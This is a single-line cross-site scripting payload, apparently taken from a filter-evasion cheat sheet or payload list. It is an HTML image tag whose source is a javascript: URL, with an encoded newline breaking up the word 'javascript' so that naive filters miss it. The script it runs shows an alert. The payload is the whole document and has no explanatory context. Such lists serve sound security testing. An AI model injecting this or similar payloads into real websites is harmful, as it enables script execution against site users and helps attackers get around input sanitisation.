<IMG SRC="jav&#x0A;ascript:alert('XSS');">